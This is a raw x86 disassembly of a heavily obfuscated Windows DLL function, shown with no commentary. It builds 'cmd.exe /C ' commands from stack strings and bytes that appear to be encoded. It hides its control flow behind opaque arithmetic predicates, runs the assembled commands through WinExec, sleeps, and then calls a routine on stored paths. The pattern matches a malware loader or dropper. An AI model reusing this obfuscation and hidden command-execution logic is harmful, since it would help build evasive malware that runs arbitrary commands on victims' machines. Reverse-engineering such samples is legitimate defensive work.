call fcn.1006d780
add esp, 0xc
jmp 0x1006be7e
mov dword [ebp - 0x10], 0x1f
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xe98]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe80]
mov dword [eax], ecx
mov dword [eax + 8], 0x64
call fcn.1006d780
add esp, 0xc
jmp 0x1006beaf
mov eax, dword [0x10285da4]
add eax, dword [0x10285da8]
mov ecx, eax
or ecx, 0x6c1c7637
xor eax, 0xffffffff
or eax, 0x93e389c8
and ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
or eax, 0x8a896ff6
xor eax, 0xffffffff
or ecx, 0x8a896ff6
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
add eax, 0xc60ad073
cmp eax, 0xeca814b7
jae 0x1006cc5f
mov dword [ebp - 0x10], 0x20
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xe80]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe68]
mov dword [eax], ecx
mov dword [eax + 8], 0x2e
call fcn.1006d780
add esp, 0xc
jmp 0x1006bf28
mov dword [ebp - 0x10], 0x21
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xe68]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe50]
mov dword [eax], ecx
mov dword [eax + 8], 0x70
call fcn.1006d780
add esp, 0xc
jmp 0x1006bf59
mov eax, dword [0x10285dac]
mov ecx, dword [0x10285db0]
add eax, 0xc2292045
add eax, ecx
sub eax, 0xc2292045
add eax, 0x1709e485
add eax, 0x76af1886
sub eax, 0x7d9273e9
cmp eax, 0xca446274
jae 0x1006cc64
mov dword [ebp - 0x10], 0x22
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xe50]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe38]
mov dword [eax], ecx
mov dword [eax + 8], 0x73
call fcn.1006d780
add esp, 0xc
jmp 0x1006bfbb
mov dword [ebp - 0x10], 0x23
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xe38]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe20]
mov dword [eax], ecx
mov dword [eax + 8], 0x31
call fcn.1006d780
add esp, 0xc
jmp 0x1006bfec
mov ecx, dword [str.fg_0a_]
mov edx, dword [0x10285dc0]
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, edx
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
sub eax, 0x66396e94
mov ecx, 0xe4530b52
xor edx, edx
div ecx
xor eax, 0x5485b62d
cmp eax, 0x35fd2fb8
jb 0x1006cc69
lea ecx, [ebp - 0xe38]
call fcn.10006100
lea ecx, [ebp - 0xe50]
call fcn.10006100
lea ecx, [ebp - 0xe68]
call fcn.10006100
lea ecx, [ebp - 0xe80]
call fcn.10006100
lea ecx, [ebp - 0xe98]
call fcn.10006100
lea ecx, [ebp - 0xeb0]
call fcn.10006100
lea ecx, [ebp - 0xec8]
call fcn.10006100
lea ecx, [ebp - 0xee0]
call fcn.10006100
lea ecx, [ebp - 0xef8]
call fcn.10006100
lea ecx, [ebp - 0xf10]
call fcn.10006100
lea ecx, [ebp - 0xf28]
call fcn.10006100
lea ecx, [ebp - 0xe20]
call fcn.10008160
mov ecx, eax
mov dword [ebp - 0x10], 0xd
sub esp, 4
mov eax, esp
mov dword [eax], ecx
lea ecx, [ebp - 0xf40]
call fcn.10006000
jmp 0x1006c0d3
mov eax, dword [0x10285dd4]
mov esi, dword [0x10285dd8]
mov edi, esi
xor edi, 0xffffffff
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
mov ecx, 0xdc7285af
xor edx, edx
div ecx
and eax, 0x9882e8fa
xor eax, 0xe7092ac2
cmp eax, 0xc32a17b2
jbe 0x1006c0d3
mov dword [ebp - 0x10], 0x18
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xd54]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xf40]
mov dword [eax], ecx
call fcn.10068360
add esp, 8
jmp 0x1006c144
lea ecx, [ebp - 0xf40]
call fcn.10006100
sub esp, 4
mov eax, esp
mov dword [eax], 0xc8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
movups xmm0, xmmword [0x1022caaa]
movups xmmword [ebp - 0xf97], xmm0
movups xmm0, xmmword [0x1022caa1]
movups xmmword [ebp - 0xfa0], xmm0
movups xmm0, xmmword [0x1022ca91]
movups xmmword [ebp - 0xfb0], xmm0
movups xmm0, xmmword [0x1022ca81]
movups xmmword [ebp - 0xfc0], xmm0
movups xmm0, xmmword [0x1022ca71]
movups xmmword [ebp - 0xfd0], xmm0
lea eax, [ebp - 0xfd0]
mov dword [ebp - 0xf84], eax
lea eax, [ebp - 0xf87]
mov dword [ebp - 0xf80], eax
lea esi, [ebp - 0xfd1]
mov ecx, esi
call fcn.10005430
mov ecx, dword [ebp - 0xf84]
mov edx, dword [ebp - 0xf80]
mov dword [ebp - 0x10], 0xd
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xf7c]
call fcn.1006d510
jmp 0x1006c1fc
mov dword [ebp - 0x10], 0x14
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xf7c]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xf70]
mov dword [eax], ecx
call fcn.10069100
add esp, 8
jmp 0x1006c226
mov eax, dword [0x10285ddc]
mov esi, dword [0x10285de0]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, esi
and edx, ecx
mov edi, esi
xor edi, 0xffffffff
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
mov edx, eax
and edx, 0xd0c015b7
mov ecx, eax
or ecx, 0xd0c015b7
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x2f3fea48
or eax, 0x2f3fea48
imul eax, edx
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x6894c973
mov ecx, eax
and ecx, 0x976b368c
imul ecx, edx
mov edx, eax
and edx, 0x6894c973
or eax, 0x6894c973
imul eax, edx
add eax, ecx
add eax, 0xb686074c
cmp eax, 0xcedac98e
je 0x1006ccf2
mov eax, dword [0x10285de4]
and eax, dword [0x10285de8]
mov ecx, 0x889954d2
xor edx, edx
div ecx
sub eax, 0x4231611
mov ecx, eax
xor ecx, 0x9987b9a9
and eax, 0x66784656
shl eax, 1
sub eax, ecx
mov dword [ebp - 0x1120], eax
mov byte [ebp - 0x100b], 0x63
mov byte [ebp - 0x100a], 0x6d
mov byte [ebp - 0x1009], 0x64
mov byte [ebp - 0x1008], 0x2e
mov byte [ebp - 0x1007], 0x65
mov byte [ebp - 0x1006], pe_nt_image_headers32
mov byte [ebp - 0x1005], 0x65
mov byte [ebp - 0x1004], 0x20
mov byte [ebp - 0x1003], 0x2f
mov byte [ebp - 0x1002], 0x43
mov byte [ebp - 0x1001], 0x20
lea eax, [ebp - 0x100b]
mov dword [ebp - 0x1000], eax
lea eax, [ebp - 0x100b]
add eax, 0xb
mov dword [ebp - 0xffc], eax
lea ecx, [ebp - 0x100c]
call fcn.10005430
mov eax, dword [ebp - 0x1120]
mov ecx, dword [ebp - 0x1000]
mov dword [ebp - 0x111c], ecx
mov ecx, dword [ebp - 0xffc]
mov dword [ebp - 0x1118], ecx
cmp eax, 0xd6666504
ja 0x1006c2b1
mov ecx, dword [ebp - 0x111c]
mov edx, dword [ebp - 0x1118]
mov dword [ebp - 0x10], 0x15
sub esp, 0xc
mov eax, esp
lea esi, [ebp - 0x100c]
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xff8]
call fcn.1006d510
jmp 0x1006c3b3
mov dword [ebp - 0x10], 0x16
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xff8]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xfec]
mov dword [eax], ecx
call fcn.10069100
add esp, 8
jmp 0x1006c3dd
mov ecx, dword [0x10285dfc]
mov edx, dword [0x10285e00]
mov eax, ecx
and eax, edx
or ecx, edx
add eax, ecx
and eax, 0xb75f1ceb
sub eax, 0xad4618f
mov edx, eax
xor edx, 0xffffffff
and edx, 0xdf65425
mov ecx, eax
and ecx, 0xf209abda
imul ecx, edx
mov edx, eax
and edx, 0xdf65425
or eax, 0xdf65425
imul eax, edx
add eax, ecx
cmp eax, 0xd4dba802
jae 0x1006cd6a
mov eax, dword [0x10285e04]
and eax, dword [0x10285e08]
imul ecx, eax, 0xf36615b0
add ecx, 0x856191e4
mov eax, ecx
and eax, 0x8bb1f2e1
or ecx, 0x8bb1f2e1
add eax, ecx
cmp eax, 0x2b576462
jb 0x1006cd6a
mov dword [ebp - 0x10], 0x17
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xf70]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0xfec]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xf58]
mov dword [eax], ecx
call fcn.1006dc20
add esp, 0xc
jmp 0x1006c492
lea ecx, [ebp - 0xfec]
call fcn.10006100
lea ecx, [ebp - 0xff8]
call fcn.10052500
lea ecx, [ebp - 0xf70]
call fcn.10006100
lea ecx, [ebp - 0xf7c]
call fcn.10052500
lea ecx, [ebp - 0xf58]
call fcn.10008160
mov ecx, eax
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
movups xmm0, xmmword [0x1022cad3]
movups xmmword [ebp - 0x104b], xmm0
movups xmm0, xmmword [0x1022caca]
movups xmmword [ebp - 0x1054], xmm0
movups xmm0, xmmword [0x1022caba]
movups xmmword [ebp - 0x1064], xmm0
lea eax, [ebp - 0x1064]
mov dword [ebp - 0x1038], eax
lea eax, [ebp - 0x103b]
mov dword [ebp - 0x1034], eax
lea esi, [ebp - 0x1065]
mov ecx, esi
call fcn.10005430
mov ecx, dword [ebp - 0x1038]
mov edx, dword [ebp - 0x1034]
mov dword [ebp - 0x10], 0xe
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0x1030]
call fcn.1006d510
jmp 0x1006c55f
mov dword [ebp - 0x10], 0x13
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0x1030]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x1024]
mov dword [eax], ecx
call fcn.10069100
add esp, 8
jmp 0x1006c589
mov eax, dword [0x10285e1c]
mov edx, dword [0x10285e20]
mov ecx, eax
xor ecx, edx
xor edx, 0xffffffff
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0x49b1782e
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0xe84afd8d
add ecx, 1
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x25dca8bb
or ecx, 0xda235744
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
cmp eax, 0x910d634
jbe 0x1006cd6f
mov eax, dword [0x10285e24]
xor edx, edx
div dword [0x10285e28]
mov ecx, eax
sub ecx, 0x623faf1b
sub ecx, 0x27eb2ac9
add ecx, 0x623faf1b
xor ecx, 0xffffffff
or ecx, 0x72283e58
mov edx, ecx
xor edx, 0xffffffff
mov eax, ecx
and eax, 0x42ec48c2
and edx, 0xbd13b73d
or eax, edx
xor eax, 0x90092b03
or ecx, 0x2d1a9c3e
xor ecx, 0xffffffff
or eax, ecx
mov dword [ebp - 0x112c], eax
lea ecx, [ebp - 0x1030]
call fcn.10052500
lea ecx, [ebp - 0xe20]
call fcn.10008160
mov dword [ebp - 0x1130], eax
mov byte [ebp - 0x10cf], 0x63
mov byte [ebp - 0x10ce], 0x6d
mov byte [ebp - 0x10cd], 0x64
mov byte [ebp - 0x10cc], 0x2e
mov byte [ebp - 0x10cb], 0x65
mov byte [ebp - 0x10ca], pe_nt_image_headers32
mov byte [ebp - 0x10c9], 0x65
mov byte [ebp - 0x10c8], 0x20
mov byte [ebp - 0x10c7], 0x2f
mov byte [ebp - 0x10c6], 0x43
mov byte [ebp - 0x10c5], 0x20
lea eax, [ebp - 0x10cf]
mov dword [ebp - 0x10c4], eax
lea eax, [ebp - 0x10cf]
add eax, 0xb
mov dword [ebp - 0x10c0], eax
lea ecx, [ebp - 0x10d0]
call fcn.10005430
mov eax, dword [ebp - 0x112c]
mov ecx, dword [ebp - 0x10c4]
mov dword [ebp - 0x1128], ecx
mov ecx, dword [ebp - 0x10c0]
mov dword [ebp - 0x1124], ecx
cmp eax, 0x27b0a7b1
jb 0x1006cd6f
mov ecx, dword [ebp - 0x1128]
mov edx, dword [ebp - 0x1124]
mov dword [ebp - 0x10], 0xf
sub esp, 0xc
mov eax, esp
lea esi, [ebp - 0x10d0]
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0x10bc]
call fcn.1006d510
jmp 0x1006c71a
mov dword [ebp - 0x10], 0x10
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0x10bc]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x10b0]
mov dword [eax], ecx
call fcn.10069100
add esp, 8
jmp 0x1006c744
mov eax, dword [0x10285e2c]
mov esi, dword [0x10285e30]
mov edi, esi
xor edi, 0xffffffff
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
add eax, 0x2cf9b28e
add eax, 1
or eax, 0x7e6fa69e
imul eax, eax, 0x5e4d4d9e
cmp eax, 0xf09c7af2
je 0x1006cdfd
mov eax, dword [0x10285e34]
xor edx, edx
div dword [0x10285e38]
or eax, 0x1c9230b3
mov ecx, eax
and ecx, 0xe28d754e
shl ecx, 1
xor eax, 0xe28d754e
add eax, ecx
add eax, 0xe2de3863
cmp eax, 0x774c3505
jb 0x1006cdfd
mov dword [ebp - 0x10], 0x11
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0x1024]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x10b0]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x1098]
mov dword [eax], ecx
call fcn.1000c360
add esp, 0xc
jmp 0x1006c7f1
mov eax, dword [0x10285e44]
mov ecx, dword [0x10285e48]
add eax, 0xd73dce9b
sub eax, ecx
sub eax, 0xd73dce9b
sub eax, 0x11d5047d
mov ecx, eax
and ecx, 0x98b6ff3f
shl ecx, 1
xor eax, 0x98b6ff3f
add eax, ecx
xor eax, 0xc8d0c8d0
cmp eax, 0x78bbd3ea
jbe 0x1006ce02
mov ecx, dword [ebp - 0x1130]
mov dword [ebp - 0x10], 0x12
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x1098]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x1080]
mov dword [eax], ecx
call fcn.1000c510
add esp, 0xc
jmp 0x1006c861
mov eax, dword [0x10285e4c]
mov edx, dword [0x10285e50]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, 0x80ed676b
xor edx, edx
div ecx
imul ecx, eax, 0xbaf8e4fa
mov eax, ecx
xor eax, 0xffffffff
or eax, 0x4d599e7a
xor ecx, 0xffffffff
or ecx, 0x4d599e7a
and eax, ecx
xor eax, 0xffffffff
cmp eax, 0xc9bb37ab
ja 0x1006ce07
mov eax, dword [0x10285e54]
xor edx, edx
div dword [0x10285e58]
and eax, 0x54e2d741
and eax, 0x48ea2f5a
xor eax, 0x795d171d
mov dword [ebp - 0x1134], eax
lea ecx, [ebp - 0x1024]
lea eax, [ebp - 0x1080]
sub esp, 4
mov dword [esp], eax
call fcn.10007d00
lea ecx, [ebp - 0x1080]
call fcn.10006100
lea ecx, [ebp - 0x1098]
call fcn.10006100
lea ecx, [ebp - 0x10b0]
call fcn.10006100
lea ecx, [ebp - 0x10bc]
call fcn.10052500
lea ecx, [ebp - 0x1024]
call fcn.10008160
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_WinExec]
sub esp, 4
mov dword [esp], 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xcdc]
call fcn.10008160
sub esp, 4
mov dword [esp], eax
call fcn.1006aa00
add esp, 4
lea ecx, [ebp - 0xe20]
call fcn.10008160
sub esp, 4
mov dword [esp], eax
call fcn.1006aa00
add esp, 4
mov dword [ebp - 0x20], 0
mov dword [ebp - 0xc58], 1
lea ecx, [ebp - 0x1024]
call fcn.10006100
lea ecx, [ebp - 0xf58]
call fcn.10006100
lea ecx, [ebp - 0xe20]
call fcn.10006100
lea ecx, [ebp - 0xd54]
call fcn.10006100
lea ecx, [ebp - 0xcdc]
call fcn.10006100
lea ecx, [ebp - 0xcc4]
call fcn.10006100
lea ecx, [ebp - 0xc88]
call fcn.10006100
lea ecx, [ebp - 0xc70]
call fcn.10006100
mov eax, dword [ebp - 0x1134]
cmp eax, 0xbc656c99
ja 0x1006ce07
jmp 0x1006c9f3
lea ecx, [ebp - 0xc20]
call fcn.10006100
lea ecx, [ebp - 0xc08]
call fcn.10006100
lea ecx, [ebp - 0xbf0]
call fcn.10006100
lea ecx, [ebp - 0xbd8]
call fcn.10006100
lea ecx, [ebp - 0x150]
call fcn.10052500
lea ecx, [ebp - 0x5c]
call fcn.10052500
lea ecx, [ebp - 0x50]
call fcn.10006100
lea ecx, [ebp - 0x38]
call fcn.10006100
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov dword fs:[0], ecx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea ecx, [ebp - 0xbbc]
lea eax, [0x1022bff8]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xa64
call fcn.101f4710
add esp, 0xc
lea eax, [ebp - 0xbbc]
mov dword [ebp - 0x158], eax
lea eax, [ebp - 0xbbc]
add eax, 0xa64
mov dword [ebp - 0x154], eax
lea ecx, [ebp - 0xbbd]
call fcn.10005430
jmp 0x1006afc9
lea ecx, [ebp - 0xc20]
lea eax, [ebp - 0xc38]
sub esp, 4
mov dword [esp], eax
call fcn.10007d00
lea ecx, [ebp - 0xc38]
call fcn.10006100
jmp 0x1006b1a3
jmp 0x1006b470
lea ecx, [ebp - 0xcf4]
call fcn.10006100
lea ecx, [ebp - 0xd00]
call fcn.10052500
lea ecx, [ebp - 0xcdc]
call fcn.10008160
jmp 0x1006b4ef
jmp 0x1006b56d
lea ecx, [ebp - 0xd3c]
call fcn.10006100
sub esp, 4
mov dword [esp], 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xcdc]
call fcn.10008160
jmp 0x1006b5ff
mov byte [ebp - 0xd9f], 0x58
mov byte [ebp - 0xd9e], 0x4d
mov byte [ebp - 0xd9d], 0x4c
mov byte [ebp - 0xd9c], 0xc2
mov byte [ebp - 0xd9b], 0xb7
mov byte [ebp - 0xd9a], 0xbe
mov byte [ebp - 0xd99], 0xb6
lea eax, [ebp - 0xd9f]
mov dword [ebp - 0xd98], eax
lea eax, [ebp - 0xd9f]
add eax, 7
mov dword [ebp - 0xd94], eax
lea ecx, [ebp - 0xda0]
call fcn.10005430
jmp 0x1006b6a8
mov eax, dword [ebp - 0x10f4]
lea ecx, [ebp - 0xd54]
mov dword [eax], ecx
lea ecx, [ebp - 0xd84]
mov dword [eax + 0x1c], ecx
lea ecx, [ebp - 0xd6c]
mov dword [eax + 0x20], ecx
jmp 0x1006b7a8
mov eax, dword [ebp - 0x10f8]
mov esp, eax
lea ecx, [ebp - 0xd84]
call fcn.10006100
lea ecx, [ebp - 0xd90]
call fcn.10052500
lea ecx, [ebp - 0xd6c]
call fcn.10006100
lea ecx, [ebp - 0x38]
call fcn.10008160
jmp 0x1006b844
mov byte [ebp - 0xe04], 0xc8
mov byte [ebp - 0xe03], 0xce
mov byte [ebp - 0xe02], 0xce
mov byte [ebp - 0xe01], 0xf1
mov byte [ebp - 0xe00], 0xc3
mov byte [ebp - 0xdff], 0xfb
mov byte [ebp - 0xdfe], 0xb3
mov byte [ebp - 0xdfd], 0xc6
lea eax, [ebp - 0xe04]
mov dword [ebp - 0xdfc], eax
lea eax, [ebp - 0xe04]
add eax, 8
mov dword [ebp - 0xdf8], eax
lea ecx, [ebp - 0xe05]
call fcn.10005430
jmp 0x1006b903
jmp 0x1006bc03
jmp 0x1006bcbd
jmp 0x1006bd9b
jmp 0x1006bdcc
jmp 0x1006be4d
jmp 0x1006beaf
jmp 0x1006bf8a
lea ecx, [ebp - 0xe38]
call fcn.10006100
lea ecx, [ebp - 0xe50]
call fcn.10006100
lea ecx, [ebp - 0xe68]
call fcn.10006100
lea ecx, [ebp - 0xe80]
call fcn.10006100
lea ecx, [ebp - 0xe98]
call fcn.10006100
lea ecx, [ebp - 0xeb0]
call fcn.10006100
lea ecx, [ebp - 0xec8]
call fcn.10006100
lea ecx, [ebp - 0xee0]
call fcn.10006100
lea ecx, [ebp - 0xef8]
call fcn.10006100
lea ecx, [ebp - 0xf10]
call fcn.10006100
lea ecx, [ebp - 0xf28]
call fcn.10006100
lea ecx, [ebp - 0xe20]
call fcn.10008160
jmp 0x1006c02f
mov byte [ebp - 0x100b], 0x63
mov byte [ebp - 0x100a], 0x6d
mov byte [ebp - 0x1009], 0x64
mov byte [ebp - 0x1008], 0x2e
mov byte [ebp - 0x1007], 0x65
mov byte [ebp - 0x1006], pe_nt_image_headers32
mov byte [ebp - 0x1005], 0x65
mov byte [ebp - 0x1004], 0x20
mov byte [ebp - 0x1003], 0x2f
mov byte [ebp - 0x1002], 0x43
mov byte [ebp - 0x1001], 0x20
lea eax, [ebp - 0x100b]
mov dword [ebp - 0x1000], eax
lea eax, [ebp - 0x100b]
add eax, 0xb
mov dword [ebp - 0xffc], eax
lea ecx, [ebp - 0x100c]
call fcn.10005430
jmp 0x1006c2b1
jmp 0x1006c42e
lea ecx, [ebp - 0x1030]
call fcn.10052500
lea ecx, [ebp - 0xe20]
call fcn.10008160
mov byte [ebp - 0x10cf], 0x63
mov byte [ebp - 0x10ce], 0x6d
mov byte [ebp - 0x10cd], 0x64
mov byte [ebp - 0x10cc], 0x2e
mov byte [ebp - 0x10cb], 0x65
mov byte [ebp - 0x10ca], pe_nt_image_headers32
mov byte [ebp - 0x10c9], 0x65
mov byte [ebp - 0x10c8], 0x20
mov byte [ebp - 0x10c7], 0x2f
mov byte [ebp - 0x10c6], 0x43
mov byte [ebp - 0x10c5], 0x20
lea eax, [ebp - 0x10cf]
mov dword [ebp - 0x10c4], eax
lea eax, [ebp - 0x10cf]
add eax, 0xb
mov dword [ebp - 0x10c0], eax
lea ecx, [ebp - 0x10d0]
call fcn.10005430
jmp 0x1006c5d8
jmp 0x1006c78b
jmp 0x1006c7f1
lea ecx, [ebp - 0x1024]
lea eax, [ebp - 0x1080]
sub esp, 4
mov dword [esp], eax
call fcn.10007d00
lea ecx, [ebp - 0x1080]
call fcn.10006100
lea ecx, [ebp - 0x1098]
call fcn.10006100
lea ecx, [ebp - 0x10b0]
call fcn.10006100
lea ecx, [ebp - 0x10bc]
call fcn.10052500
lea ecx, [ebp - 0x1024]
call fcn.10008160
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_WinExec]
sub esp, 4
mov dword [esp], 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xcdc]
call fcn.10008160
sub esp, 4
mov dword [esp], eax
call fcn.1006aa00
add esp, 4
lea ecx, [ebp - 0xe20]
call fcn.10008160
sub esp, 4
mov dword [esp], eax
call fcn.1006aa00
add esp, 4
mov dword [ebp - 0x20], 0
mov dword [ebp - 0xc58], 1
lea ecx, [ebp - 0x1024]
call fcn.10006100
lea ecx, [ebp - 0xf58]
call fcn.10006100
lea ecx, [ebp - 0xe20]
call fcn.10006100
lea ecx, [ebp - 0xd54]
call fcn.10006100
lea ecx, [ebp - 0xcdc]
call fcn.10006100
lea ecx, [ebp - 0xcc4]
call fcn.10006100
lea ecx, [ebp - 0xc88]
call fcn.10006100
lea ecx, [ebp - 0xc70]
call fcn.10006100
jmp 0x1006c8ac